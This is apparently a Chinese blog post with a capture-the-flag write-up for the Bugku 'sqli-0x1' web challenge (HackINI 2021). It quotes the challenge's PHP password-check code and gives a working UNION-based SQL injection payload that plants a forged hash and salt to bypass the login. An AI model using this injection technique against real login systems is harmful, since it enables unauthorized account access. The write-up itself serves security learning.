Bugku-Web题目-sqli-0x1- HackINI 2021 - 指南

打开题目,给了一个登录框界面。

看看源代码,发现别有洞天。

打开看看,发现是一大串php代码。

总而言之,只需要知道如下几件事:

1、黑名单不拦截
2、explode() 函数将 password 的输入密码和盐分开

$split = explode('$', $result["password"]);
        $password_hash = $split[0];
        $salt = $split[1];

 3、password = 用户输入的密码 + 盐 。再取sha256进行比对

if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;

如何解题呢?手动sql注入,创造一个新的记录,再让服务器查到这个记录,再让密码验证通过。

payload:

user:

a'union select 1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+

pass:

888

通过这样的payload,服务端就会看到

SELECT * FROM users WHERE username='a'
union select
1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+

这是如何实现的呢?

在 user 中的 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 是由 ‘888999’ 生成的 sha256 哈希结果,将会被用于 if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; 密码的比对,在 ‘888999’ 中的888是用户输入的密码,999是盐,而在 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 中结尾的 $999 是 explode() 函数按照 $ 来分割的盐,在 $split = explode('$', $result["password"]);$password_hash = $split[0];$salt = $split[1]; 它用于加上用户输入的密码来计算sha256来比对。

最终得到flag

posted on 2025-10-22 13:51  slgkaifa  阅读(6)  评论(0)    收藏  举报

导航